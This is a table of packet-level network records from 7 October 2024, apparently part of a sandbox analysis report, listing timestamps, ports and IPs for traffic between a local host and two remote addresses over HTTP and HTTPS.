Oct 7, 2024 19:33:20.461378098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461389065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461400032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461400032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461421967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461446047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461457968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461467981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461481094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461482048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461493015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461509943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461509943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461536884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461536884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461570978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461581945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461592913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461602926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461610079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461615086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461627007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461627960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461638927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461647034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461649895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461664915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461677074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461677074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461707115 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461796999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461808920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461819887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461853027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461941957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461955070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461966038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462007999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462007999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462111950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462124109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462135077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462146044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462156057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462167025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462178946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462183952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462183952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462192059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462203979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462215900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462218046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462218046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462228060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462239981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462249041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.462256908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462256908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462573051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.462573051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.466464996 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.466816902 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.466835976 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.467241049 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.467247009 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.467303038 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.467560053 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.467570066 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.467931986 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.467936993 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.471477032 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.471760035 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.471772909 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.472122908 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.472130060 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.516088009 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.516155005 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.516211033 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.516346931 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.516359091 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.516371965 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.516377926 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.518948078 CEST	49768	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.518981934 CEST	443	49768	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.519063950 CEST	49768	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.519153118 CEST	49768	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.519175053 CEST	443	49768	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.543945074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.543956995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.543967962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.543986082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.543997049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544003963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544009924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544022083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544027090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544044018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544080973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544080973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544123888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544136047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544147968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544161081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544177055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544177055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544192076 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544352055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544363976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544375896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544387102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544399023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544404984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544425011 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544461012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544490099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544501066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544512033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544523001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544533014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544533968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544547081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544558048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544569016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544570923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544581890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544585943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544595003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544598103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544617891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544629097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544660091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544660091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544715881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544728041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544739962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544761896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544773102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544773102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544787884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544789076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544807911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544833899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544853926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544855118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544874907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544888020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544899940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544910908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544914961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544914961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544924021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544936895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544948101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544954062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544960976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544960976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.544966936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.544991016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545006037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545006037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545108080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545120001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545130968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545142889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545146942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545146942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545160055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545161963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545192957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545211077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545245886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545258045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545268059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545279026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545289993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545300961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545303106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545314074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545346022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545346022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545376062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545382023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545388937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545401096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545412064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545423031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545429945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545433044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545445919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545479059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545479059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545495987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545507908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545519114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545525074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545525074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545542955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545609951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545622110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545631886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545644045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545653105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545665026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545675039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545675039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545675039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545689106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545701027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545712948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545732975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545732975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545788050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.545967102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545979977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.545990944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546001911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546013117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546024084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546025038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546036005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546047926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546053886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546053886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546061039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546073914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546087980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546098948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546103954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546103954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546112061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546130896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546148062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546178102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546299934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546312094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546322107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546331882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546343088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546348095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546353102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546365023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546367884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546367884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546375990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546387911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546400070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546400070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546412945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546425104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546433926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546437025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546449900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546463966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546463966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546514034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546585083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546596050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546601057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546612978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546623945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546631098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546638012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546649933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546669006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546669006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546752930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546760082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546772003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.546811104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.546947002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.566421032 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.566585064 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.566854954 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.566884995 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.566901922 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.566912889 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.566919088 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.567936897 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.567996979 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.568167925 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.568205118 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.568211079 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.568222046 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.568227053 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.569164991 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.569194078 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.569443941 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.570107937 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.570126057 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.570326090 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.570333958 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.570394993 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.570636034 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.570650101 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.573096991 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.573148012 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.573224068 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.573338985 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.573350906 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.573381901 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.573388100 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.575408936 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.575432062 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.575743914 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.576051950 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.576073885 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.628680944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628755093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.628794909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628825903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628837109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628849983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628861904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628865004 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.628874063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628884077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.628887892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628901005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628911972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628921986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628932953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628945112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628947973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.628947973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.628957033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628962040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.628968954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.628977060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.628993988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629010916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629021883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629033089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629045010 CEST	80	49718	46.8.231.109	192.168.2.7
